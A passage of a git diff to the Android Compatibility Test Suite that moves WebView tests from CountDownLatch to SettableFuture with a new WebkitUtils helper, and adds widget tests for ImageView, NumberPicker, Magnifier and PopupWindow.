+        assertArrayEquals(new String[] {"TWO"}, mapping.namesOf(2));
+        assertArrayEquals(new String[] {"ONE", "TWO"}, mapping.namesOf(3));
+        assertArrayEquals(new String[0], mapping.namesOf(4));
+    }
+
+    @Test
+    public void testMutuallyExclusiveFlags() {
+        IntFlagMapping mapping = new IntFlagMapping.Builder()
+                .addFlag("ONE", 1, 3)
+                .addFlag("TWO", 2, 3)
+                .build();
+
+
+        assertArrayEquals(new String[0], mapping.namesOf(0));
+        assertArrayEquals(new String[] {"ONE"}, mapping.namesOf(1));
+        assertArrayEquals(new String[] {"TWO"}, mapping.namesOf(2));
+        assertArrayEquals(new String[0], mapping.namesOf(3));
+        assertArrayEquals(new String[0], mapping.namesOf(4));
+    }
+
+    @Test
+    public void testMixedFlags() {
+        IntFlagMapping mapping = new IntFlagMapping.Builder()
+                .addFlag("ONE", 1, 3)
+                .addFlag("TWO", 2, 3)
+                .addFlag("FOUR", 4)
+                .build();
+
+
+        assertArrayEquals(new String[0], mapping.namesOf(0));
+        assertArrayEquals(new String[] {"ONE"}, mapping.namesOf(1));
+        assertArrayEquals(new String[] {"TWO"}, mapping.namesOf(2));
+        assertArrayEquals(new String[0], mapping.namesOf(3));
+        assertArrayEquals(new String[] {"FOUR"}, mapping.namesOf(4));
+        assertArrayEquals(new String[] {"ONE", "FOUR"}, mapping.namesOf(5));
+        assertArrayEquals(new String[] {"TWO", "FOUR"}, mapping.namesOf(6));
+        assertArrayEquals(new String[] {"FOUR"}, mapping.namesOf(7));
+    }
+}
diff --git a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
index 811c372..3a35959 100644
--- a/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/PostMessageTest.java
@@ -28,10 +28,13 @@
 
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
+import com.google.common.util.concurrent.SettableFuture;
 
-import java.util.concurrent.CountDownLatch;
 import junit.framework.Assert;
 
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+
 public class PostMessageTest extends ActivityInstrumentationTestCase2<WebViewCtsActivity> {
     public static final long TIMEOUT = 20000L;
 
@@ -176,7 +179,7 @@
         WebMessage message = new WebMessage(WEBVIEW_MESSAGE, new WebMessagePort[]{channel[1]});
         mOnUiThread.postWebMessage(message, Uri.parse(BASE_URI));
         final int messageCount = 3;
-        final CountDownLatch latch = new CountDownLatch(messageCount);
+        final BlockingQueue<String> queue = new ArrayBlockingQueue<>(messageCount);
         runTestOnUiThread(new Runnable() {
             @Override
             public void run() {
@@ -186,15 +189,20 @@
                 channel[0].setWebMessageCallback(new WebMessagePort.WebMessageCallback() {
                     @Override
                     public void onMessage(WebMessagePort port, WebMessage message) {
-                        int i = messageCount - (int)latch.getCount();
-                        assertEquals(WEBVIEW_MESSAGE + i + i, message.getData());
-                        latch.countDown();
+                        queue.add(message.getData());
                     }
                 });
             }
         });
+
         // Wait for all the responses to arrive.
-        assertTrue(latch.await(TIMEOUT, java.util.concurrent.TimeUnit.MILLISECONDS));
+        for (int i = 0; i < messageCount; i++) {
+            // The JavaScript code simply appends an integer counter to the end of the message it
+            // receives, which is why we have a second i on the end.
+            String expectedMessageFromJavascript = WEBVIEW_MESSAGE + i + "" + i;
+            assertEquals(expectedMessageFromJavascript,
+                    WebkitUtils.waitForNextQueueElement(queue));
+        }
     }
 
     /**
@@ -288,7 +296,7 @@
         WebMessage message = new WebMessage(WEBVIEW_MESSAGE, new WebMessagePort[]{channel[1]});
         mOnUiThread.postWebMessage(message, Uri.parse(BASE_URI));
         final int messageCount = 1;
-        final CountDownLatch latch = new CountDownLatch(messageCount);
+        final SettableFuture<Boolean> messageHandlerThreadFuture = SettableFuture.create();
 
         // Create a new thread for the WebMessageCallback.
         final HandlerThread messageHandlerThread = new HandlerThread("POST_MESSAGE_THREAD");
@@ -302,14 +310,14 @@
                 channel[0].setWebMessageCallback(new WebMessagePort.WebMessageCallback() {
                     @Override
                     public void onMessage(WebMessagePort port, WebMessage message) {
-                        assertTrue(messageHandlerThread.getLooper().isCurrentThread());
-                        latch.countDown();
+                        messageHandlerThreadFuture.set(
+                                messageHandlerThread.getLooper().isCurrentThread());
                     }
                 }, messageHandler);
             }
         });
-        // Wait for all the responses to arrive.
-        assertTrue(latch.await(TIMEOUT, java.util.concurrent.TimeUnit.MILLISECONDS));
+        // Wait for all the responses to arrive and assert correct thread.
+        assertTrue(WebkitUtils.waitForFuture(messageHandlerThreadFuture));
     }
 
     /**
@@ -327,7 +335,7 @@
         WebMessage message = new WebMessage(WEBVIEW_MESSAGE, new WebMessagePort[]{channel[1]});
         mOnUiThread.postWebMessage(message, Uri.parse(BASE_URI));
         final int messageCount = 1;
-        final CountDownLatch latch = new CountDownLatch(messageCount);
+        final SettableFuture<Boolean> messageMainLooperFuture = SettableFuture.create();
 
         runTestOnUiThread(new Runnable() {
             @Override
@@ -336,13 +344,12 @@
                 channel[0].setWebMessageCallback(new WebMessagePort.WebMessageCallback() {
                     @Override
                     public void onMessage(WebMessagePort port, WebMessage message) {
-                        assertTrue(Looper.getMainLooper().isCurrentThread());
-                        latch.countDown();
+                        messageMainLooperFuture.set(Looper.getMainLooper().isCurrentThread());
                     }
                 });
             }
         });
-        // Wait for all the responses to arrive.
-        assertTrue(latch.await(TIMEOUT, java.util.concurrent.TimeUnit.MILLISECONDS));
+        // Wait for all the responses to arrive and assert correct thread.
+        assertTrue(WebkitUtils.waitForFuture(messageMainLooperFuture));
     }
 }
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
index 4b0c1a4..c204ea6 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebSettingsTest.java
@@ -39,13 +39,13 @@
 
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
+import com.google.common.util.concurrent.SettableFuture;
 
 import java.io.ByteArrayInputStream;
 import java.io.FileOutputStream;
 import java.nio.charset.StandardCharsets;
 import java.util.Locale;
 import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 import java.util.regex.Matcher;
 import java.util.regex.Pattern;
 
@@ -417,15 +417,15 @@
         startWebServer();
 
         final WebView childWebView = mOnUiThread.createWebView();
-        final CountDownLatch latch = new CountDownLatch(1);
+        final SettableFuture<Void> createWindowFuture = SettableFuture.create();
         mOnUiThread.setWebChromeClient(new WebChromeClient() {
             @Override
             public boolean onCreateWindow(
-                WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) {
+                    WebView view, boolean isDialog, boolean isUserGesture, Message resultMsg) {
                 WebView.WebViewTransport transport = (WebView.WebViewTransport) resultMsg.obj;
                 transport.setWebView(childWebView);
                 resultMsg.sendToTarget();
-                latch.countDown();
+                createWindowFuture.set(null);
                 return true;
             }
         });
@@ -439,12 +439,12 @@
                 return "Popup blocked".equals(mOnUiThread.getTitle());
             }
         }.run();
-        assertEquals(1, latch.getCount());
+        assertFalse("onCreateWindow should not have been called yet", createWindowFuture.isDone());
 
         mSettings.setJavaScriptCanOpenWindowsAutomatically(true);
         assertTrue(mSettings.getJavaScriptCanOpenWindowsAutomatically());
         mOnUiThread.loadUrl(mWebServer.getAssetUrl(TestHtmlConstants.POPUP_URL));
-        assertTrue(latch.await(WEBVIEW_TIMEOUT, TimeUnit.MILLISECONDS));
+        WebkitUtils.waitForFuture(createWindowFuture);
     }
 
     public void testAccessJavaScriptEnabled() throws Exception {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
index edfbd4e..e02f8ac 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewClientTest.java
@@ -40,11 +40,10 @@
 import com.android.compatibility.common.util.EvaluateJsResultPollingCheck;
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
+import com.google.common.util.concurrent.SettableFuture;
 
 import java.io.ByteArrayInputStream;
 import java.nio.charset.StandardCharsets;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
 import java.util.HashMap;
 import java.util.Map;
 import java.util.List;
@@ -729,17 +728,16 @@
             return;
         }
 
-        final CountDownLatch callbackLatch = new CountDownLatch(1);
-
+        final SettableFuture<String> pageCommitVisibleFuture = SettableFuture.create();
         mOnUiThread.setWebViewClient(new WebViewClient() {
-                public void onPageCommitVisible(WebView view, String url) {
-                    assertEquals(url, "about:blank");
-                    callbackLatch.countDown();
-                }
-            });
+            public void onPageCommitVisible(WebView view, String url) {
+                pageCommitVisibleFuture.set(url);
+            }
+        });
 
-        mOnUiThread.loadUrl("about:blank");
-        assertTrue(callbackLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        final String url = "about:blank";
+        mOnUiThread.loadUrl(url);
+        assertEquals(url, WebkitUtils.waitForFuture(pageCommitVisibleFuture));
     }
 
     private class MockWebViewClient extends WaitForLoadedClient {
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
index 590c447..71c5611 100644
--- a/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
+++ b/tests/tests/webkit/src/android/webkit/cts/WebViewTest.java
@@ -81,6 +81,7 @@
 import com.android.compatibility.common.util.EvaluateJsResultPollingCheck;
 import com.android.compatibility.common.util.NullWebViewUtils;
 import com.android.compatibility.common.util.PollingCheck;
+import com.google.common.util.concurrent.SettableFuture;
 
 import junit.framework.Assert;
 
@@ -101,7 +102,6 @@
 import java.util.concurrent.atomic.AtomicBoolean;
 import java.util.concurrent.atomic.AtomicReference;
 import java.util.concurrent.Callable;
-import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.FutureTask;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.TimeUnit;
@@ -979,18 +979,17 @@
 
         assertFalse(mJsInterfaceWasCalled.get());
 
-        final CountDownLatch resultLatch = new CountDownLatch(1);
+        final SettableFuture<String> javascriptResultFuture = SettableFuture.create();
         mOnUiThread.evaluateJavascript(
                 "try {dummy.call(); 'fail'; } catch (exception) { 'pass'; } ",
                 new ValueCallback<String>() {
                         @Override
                         public void onReceiveValue(String result) {
-                            assertEquals("\"pass\"", result);
-                            resultLatch.countDown();
+                            javascriptResultFuture.set(result);
                         }
                     });
 
-        assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        assertEquals("\"pass\"", WebkitUtils.waitForFuture(javascriptResultFuture));
         assertTrue(mJsInterfaceWasCalled.get());
     }
 
@@ -2290,7 +2289,7 @@
             return;
         }
 
-        final CountDownLatch resultLatch = new CountDownLatch(1);
+        final SettableFuture<Void> downloadStartFuture = SettableFuture.create();
         final class MyDownloadListener implements DownloadListener {
             public String url;
             public String mimeType;
@@ -2304,7 +2303,7 @@
                 this.mimeType = mimetype;
                 this.contentLength = contentLength;
                 this.contentDisposition = contentDisposition;
-                resultLatch.countDown();
+                downloadStartFuture.set(null);
             }
         }
 
@@ -2327,7 +2326,7 @@
         // Wait for layout to complete before setting focus.
         getInstrumentation().waitForIdleSync();
 
-        assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        WebkitUtils.waitForFuture(downloadStartFuture);
         assertEquals(url, listener.url);
         assertTrue(listener.contentDisposition.contains("test.bin"));
         assertEquals(length, listener.contentLength);
@@ -2646,19 +2645,18 @@
             return;
         }
 
-        final CountDownLatch callbackLatch = new CountDownLatch(1);
         final long kRequest = 100;
 
         mOnUiThread.loadUrl("about:blank");
 
+        final SettableFuture<Long> visualStateFuture = SettableFuture.create();
         mOnUiThread.postVisualStateCallback(kRequest, new VisualStateCallback() {
             public void onComplete(long requestId) {
-                assertEquals(kRequest, requestId);
-                callbackLatch.countDown();
+                visualStateFuture.set(requestId);
             }
         });
 
-        assertTrue(callbackLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        assertEquals(kRequest, (long) WebkitUtils.waitForFuture(visualStateFuture));
     }
 
     /**
@@ -2675,15 +2673,14 @@
         List whitelist = new ArrayList<String>();
         // Protocols are not supported in the whitelist
         whitelist.add("http://google.com");
-        final CountDownLatch resultLatch = new CountDownLatch(1);
+        final SettableFuture<Boolean> safeBrowsingWhitelistFuture = SettableFuture.create();
         WebView.setSafeBrowsingWhitelist(whitelist, new ValueCallback<Boolean>() {
             @Override
             public void onReceiveValue(Boolean success) {
-                assertFalse(success);
-                resultLatch.countDown();
+                safeBrowsingWhitelistFuture.set(success);
             }
         });
-        assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        assertFalse(WebkitUtils.waitForFuture(safeBrowsingWhitelistFuture));
     }
 
     /**
@@ -2699,34 +2696,34 @@
 
         List whitelist = new ArrayList<String>();
         whitelist.add("safe-browsing");
-        final CountDownLatch resultLatch = new CountDownLatch(1);
+        final SettableFuture<Boolean> safeBrowsingWhitelistFuture = SettableFuture.create();
         WebView.setSafeBrowsingWhitelist(whitelist, new ValueCallback<Boolean>() {
             @Override
             public void onReceiveValue(Boolean success) {
-                assertTrue(success);
-                resultLatch.countDown();
+                safeBrowsingWhitelistFuture.set(success);
             }
         });
-        assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        assertTrue(WebkitUtils.waitForFuture(safeBrowsingWhitelistFuture));
 
-        final CountDownLatch resultLatch2 = new CountDownLatch(1);
+        final SettableFuture<Void> pageFinishedFuture = SettableFuture.create();
         mOnUiThread.setWebViewClient(new WebViewClient() {
             @Override
             public void onPageFinished(WebView view, String url) {
-                resultLatch2.countDown();
+                pageFinishedFuture.set(null);
             }
 
             @Override
             public void onSafeBrowsingHit(WebView view, WebResourceRequest request, int threatType,
                     SafeBrowsingResponse callback) {
-                Assert.fail("Should not invoke onSafeBrowsingHit");
+                pageFinishedFuture.setException(new IllegalStateException(
+                        "Should not invoke onSafeBrowsingHit"));
             }
         });
 
         mOnUiThread.loadUrl("chrome://safe-browsing/match?type=malware");
 
         // Wait until page load has completed
-        assertTrue(resultLatch2.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        WebkitUtils.waitForFuture(pageFinishedFuture);
     }
 
     /**
@@ -2836,16 +2833,15 @@
         }
 
         final MockContext ctx = new MockContext(getActivity());
-        final CountDownLatch resultLatch = new CountDownLatch(1);
+        final SettableFuture<Boolean> startSafeBrowsingFuture = SettableFuture.create();
         WebView.startSafeBrowsing(ctx, new ValueCallback<Boolean>() {
             @Override
             public void onReceiveValue(Boolean value) {
-                assertTrue(ctx.wasGetApplicationContextCalled());
-                resultLatch.countDown();
+                startSafeBrowsingFuture.set(ctx.wasGetApplicationContextCalled());
                 return;
             }
         });
-        assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        assertTrue(WebkitUtils.waitForFuture(startSafeBrowsingFuture));
     }
 
     /**
@@ -2872,17 +2868,16 @@
             return;
         }
 
-        final CountDownLatch resultLatch = new CountDownLatch(1);
+        final SettableFuture<Boolean> startSafeBrowsingFuture = SettableFuture.create();
         WebView.startSafeBrowsing(getActivity().getApplicationContext(),
                 new ValueCallback<Boolean>() {
             @Override
             public void onReceiveValue(Boolean value) {
-                assertTrue(Looper.getMainLooper().isCurrentThread());
-                resultLatch.countDown();
+                startSafeBrowsingFuture.set(Looper.getMainLooper().isCurrentThread());
                 return;
             }
         });
-        assertTrue(resultLatch.await(TEST_TIMEOUT, TimeUnit.MILLISECONDS));
+        assertTrue(WebkitUtils.waitForFuture(startSafeBrowsingFuture));
     }
 
     private void savePrintedPage(final PrintDocumentAdapter adapter,
diff --git a/tests/tests/webkit/src/android/webkit/cts/WebkitUtils.java b/tests/tests/webkit/src/android/webkit/cts/WebkitUtils.java
new file mode 100644
index 0000000..449eee7
--- /dev/null
+++ b/tests/tests/webkit/src/android/webkit/cts/WebkitUtils.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.webkit.cts;
+
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.Future;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+import junit.framework.Assert;
+
+/**
+ * Helper methods for common webkit test tasks.
+ *
+ * <p>
+ * This should remain functionally equivalent to androidx.webkit.WebkitUtils.
+ * Modifications to this class should be reflected in that class as necessary. See
+ * http://go/modifying-webview-cts.
+ */
+public final class WebkitUtils {
+
+    private static final long TEST_TIMEOUT_MS = 20000L; // 20s.
+
+    /**
+     * Waits for {@code future} and returns its value (or times out).
+     */
+    public static <T> T waitForFuture(Future<T> future) throws InterruptedException,
+             ExecutionException,
+             TimeoutException {
+        // TODO(ntfschr): consider catching ExecutionException and throwing e.getCause().
+        return future.get(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+    }
+
+    /**
+     * Takes an element out of the {@link BlockingQueue} (or times out).
+     */
+    public static <T> T waitForNextQueueElement(BlockingQueue<T> queue) throws InterruptedException,
+             TimeoutException {
+        T value = queue.poll(TEST_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        if (value == null) {
+            // {@code null} is the special value which means {@link BlockingQueue#poll} has timed
+            // out (also: there's no risk for collision with real values, because BlockingQueue does
+            // not allow null entries). Instead of returning this special value, let's throw a
+            // proper TimeoutException to stay consistent with {@link #waitForFuture}.
+            throw new TimeoutException(
+                    "Timeout while trying to take next entry from BlockingQueue");
+        }
+        return value;
+    }
+
+    // Do not instantiate this class.
+    private WebkitUtils() {}
+}
diff --git a/tests/tests/widget/res/layout/numberpicker_layout.xml b/tests/tests/widget/res/layout/numberpicker_layout.xml
index 2e370d8..7c6dfb4 100644
--- a/tests/tests/widget/res/layout/numberpicker_layout.xml
+++ b/tests/tests/widget/res/layout/numberpicker_layout.xml
@@ -27,4 +27,10 @@
         android:layout_width="wrap_content"
         android:layout_height="wrap_content" />
 
+    <NumberPicker
+        android:id="@+id/number_picker_divider_height"
+        android:layout_width="wrap_content"
+        android:layout_height="wrap_content"
+        android:selectionDividerHeight="4px"/>
+
 </LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/widget/res/layout/textview_singleline.xml b/tests/tests/widget/res/layout/textview_singleline.xml
new file mode 100644
index 0000000..1b19ad6
--- /dev/null
+++ b/tests/tests/widget/res/layout/textview_singleline.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2017 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    android:layout_width="match_parent"
+    android:layout_height="wrap_content">
+
+  <!-- test singleline is true -->
+  <TextView
+      android:id="@+id/textview_singleline_true"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:singleLine="true" />
+
+  <!-- test singleline is false -->
+  <TextView
+      android:id="@+id/textview_singleline_false"
+      android:layout_width="match_parent"
+      android:layout_height="wrap_content"
+      android:singleLine="false" />
+
+</LinearLayout>
diff --git a/tests/tests/widget/res/layout/textview_textdirectionheuristic.xml b/tests/tests/widget/res/layout/textview_textdirectionheuristic.xml
new file mode 100644
index 0000000..d5eadbf
--- /dev/null
+++ b/tests/tests/widget/res/layout/textview_textdirectionheuristic.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2008 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+         http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content">
+
+    <TextView android:id="@+id/text"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content"/>
+
+    <TextView android:id="@+id/text_password"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:password="true"/>
+
+    <TextView android:id="@+id/text_phone"
+              android:layout_width="match_parent"
+              android:layout_height="wrap_content"
+              android:inputType="phone"
+              android:textIsSelectable="true"/>
+
+</LinearLayout>
diff --git a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
index d59fe97..8b43bb1 100644
--- a/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
+++ b/tests/tests/widget/src/android/widget/cts/ImageViewTest.java
@@ -48,6 +48,7 @@
 import android.graphics.PorterDuff.Mode;
 import android.graphics.PorterDuffColorFilter;
 import android.graphics.PorterDuffXfermode;
+import android.graphics.Rect;
 import android.graphics.Xfermode;
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.ColorDrawable;
@@ -670,6 +671,55 @@
                 0xFF0000FF, 1, false);
     }
 
+    @UiThreadTest
+    @Test
+    public void testAnimateTransform() {
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ALPHA_8);
+        mImageViewRegular.setScaleType(ScaleType.FIT_XY);
+        mImageViewRegular.setImageBitmap(bitmap);
+        Rect viewRect = new Rect(0, 0, mImageViewRegular.getWidth(), mImageViewRegular.getHeight());
+        Rect bitmapRect = new Rect(0, 0, bitmap.getWidth(), bitmap.getHeight());
+
+        assertEquals(viewRect, mImageViewRegular.getDrawable().getBounds());
+        assertTrue(mImageViewRegular.getImageMatrix().isIdentity());
+
+        Matrix matrix = new Matrix();
+        mImageViewRegular.animateTransform(matrix);
+
+        assertEquals(bitmapRect, mImageViewRegular.getDrawable().getBounds());
+        assertEquals(matrix, mImageViewRegular.getImageMatrix());
+
+        // clear temporary transformation
+        mImageViewRegular.setImageBitmap(bitmap);
+
+        assertEquals(viewRect, mImageViewRegular.getDrawable().getBounds());
+        assertTrue(mImageViewRegular.getImageMatrix().isIdentity());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testAnimateTransformWithNullPassed() {
+        Bitmap bitmap = Bitmap.createBitmap(100, 100, Bitmap.Config.ALPHA_8);
+        mImageViewRegular.setScaleType(ScaleType.CENTER);
+        mImageViewRegular.setImageBitmap(bitmap);
+        Rect viewRect = new Rect(0, 0, mImageViewRegular.getWidth(), mImageViewRegular.getHeight());
+        Rect bitmapRect = new Rect(0, 0, bitmap.getWidth(), bitmap.getHeight());
+
+        assertEquals(bitmapRect, mImageViewRegular.getDrawable().getBounds());
+        assertFalse(mImageViewRegular.getImageMatrix().isIdentity());
+
+        mImageViewRegular.animateTransform(null);
+
+        assertEquals(viewRect, mImageViewRegular.getDrawable().getBounds());
+        assertTrue(mImageViewRegular.getImageMatrix().isIdentity());
+
+        // clear temporary transformation
+        mImageViewRegular.setImageBitmap(bitmap);
+
+        assertEquals(bitmapRect, mImageViewRegular.getDrawable().getBounds());
+        assertFalse(mImageViewRegular.getImageMatrix().isIdentity());
+    }
+
     public static class MockImageView extends ImageView {
         public MockImageView(Context context) {
             super(context);
diff --git a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
index f7573c8..46d5ca3 100644
--- a/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
+++ b/tests/tests/widget/src/android/widget/cts/MagnifierTest.java
@@ -479,6 +479,7 @@
         prepareFourQuadrantsScenario();
         mMagnifier = new Magnifier.Builder(mLayout)
                 .setForcePositionWithinWindowSystemInsetsBounds(false)
+                .setSize(40, 40)
                 .build();
 
         // Magnify the center of the activity in a magnifier outside bounds.
diff --git a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
index 1f98bb7..e537bdf 100644
--- a/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
+++ b/tests/tests/widget/src/android/widget/cts/NumberPickerTest.java
@@ -438,4 +438,16 @@
         mNumberPicker.setWrapSelectorWheel(true);
         assertTrue(mNumberPicker.getWrapSelectorWheel());
     }
+
+    @UiThreadTest
+    @Test
+    public void testSelectionDividerHeight() {
+        final NumberPicker numberPicker =
+                (NumberPicker) mActivity.findViewById(R.id.number_picker_divider_height);
+        final int initialValue = numberPicker.getSelectionDividerHeight();
+        assertEquals("Height set via XML", 4, initialValue);
+        final int newValue = 8;
+        numberPicker.setSelectionDividerHeight(newValue);
+        assertEquals(newValue, numberPicker.getSelectionDividerHeight());
+    }
 }
diff --git a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
index a731dc3..4384c0c 100644
--- a/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
+++ b/tests/tests/widget/src/android/widget/cts/PopupWindowTest.java
@@ -639,6 +639,7 @@
     public void testShowAtLocation() throws Throwable {
         int[] popupContentViewInWindowXY = new int[2];
         int[] popupContentViewOnScreenXY = new int[2];
+        Rect containingRect = new Rect();
 
         mPopupWindow = createPopupWindow(createPopupContent(CONTENT_SIZE_DP, CONTENT_SIZE_DP));
         // Do not attach within the decor; we will be measuring location
@@ -662,11 +663,12 @@
         assertTrue(mPopupWindow.isShowing());
         mPopupWindow.getContentView().getLocationInWindow(popupContentViewInWindowXY);
         mPopupWindow.getContentView().getLocationOnScreen(popupContentViewOnScreenXY);
+        upperAnchor.getWindowDisplayFrame(containingRect);
 
         assertTrue(popupContentViewInWindowXY[0] >= 0);
         assertTrue(popupContentViewInWindowXY[1] >= 0);
-        assertEquals(popupContentViewInWindowXY[0] + xOff, popupContentViewOnScreenXY[0]);
-        assertEquals(popupContentViewInWindowXY[1] + yOff, popupContentViewOnScreenXY[1]);
+        assertEquals(containingRect.left + popupContentViewInWindowXY[0] + xOff, popupContentViewOnScreenXY[0]);
+        assertEquals(containingRect.top + popupContentViewInWindowXY[1] + yOff, popupContentViewOnScreenXY[1]);
 
         dismissPopup();
     }
@@ -947,6 +949,7 @@
         int[] fstXY = new int[2];
         int[] sndXY = new int[2];
         int[] viewInWindowXY = new int[2];
+        Rect containingRect = new Rect();
         final Point popupPos = new Point();
 
         mActivityRule.runOnUiThread(() -> {
@@ -966,6 +969,7 @@
         showPopup();
         mPopupWindow.getContentView().getLocationInWindow(viewInWindowXY);
         final View containerView = mActivity.findViewById(R.id.main_container);
+        containerView.getWindowDisplayFrame(containingRect);
 
         // update if it is not shown
         mActivityRule.runOnUiThread(() -> mPopupWindow.update(80, 80));
@@ -987,8 +991,8 @@
         assertEquals(50, mPopupWindow.getHeight());
 
         mPopupWindow.getContentView().getLocationOnScreen(fstXY);
-        assertEquals(popupPos.x + viewInWindowXY[0], fstXY[0]);
-        assertEquals(popupPos.y + viewInWindowXY[1], fstXY[1]);
+        assertEquals(containingRect.left + popupPos.x + viewInWindowXY[0], fstXY[0]);
+        assertEquals(containingRect.top + popupPos.y + viewInWindowXY[1], fstXY[1]);
 
         popupPos.set(windowInsets.getStableInsetLeft() + 4, windowInsets.getStableInsetTop());
 
@@ -1002,8 +1006,8 @@
         assertEquals(50, mPopupWindow.getHeight());
 
         mPopupWindow.getContentView().getLocationOnScreen(sndXY);
-        assertEquals(popupPos.x + viewInWindowXY[0], sndXY[0]);
-        assertEquals(popupPos.y + viewInWindowXY[1], sndXY[1]);
+        assertEquals(containingRect.left + popupPos.x + viewInWindowXY[0], sndXY[0]);
+        assertEquals(containingRect.top + popupPos.y + viewInWindowXY[1], sndXY[1]);
 
         dismissPopup();
     }
diff --git a/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java b/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
index ffa5a28..a4584e5 100644
--- a/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
+++ b/tests/tests/widget/src/android/widget/cts/TextViewPrecomputedTextTest.java
@@ -24,8 +24,6 @@
 import android.text.PrecomputedText;
 import android.text.PrecomputedText.Params;
 import android.text.PrecomputedText.Params.Builder;
-import android.text.TextDirectionHeuristic;
-import android.text.TextDirectionHeuristics;
 import android.text.TextPaint;
 import android.text.TextUtils;
 import android.util.Pair;
@@ -67,8 +65,6 @@
     @Parameterized.Parameter(8)
     public boolean differentHyphenationFrequency;
     @Parameterized.Parameter(9)
-    public boolean differentTextDir;
-    @Parameterized.Parameter(10)
     public boolean differentFontVariationSettings;
 
     // text size from the default value.
@@ -135,15 +131,8 @@
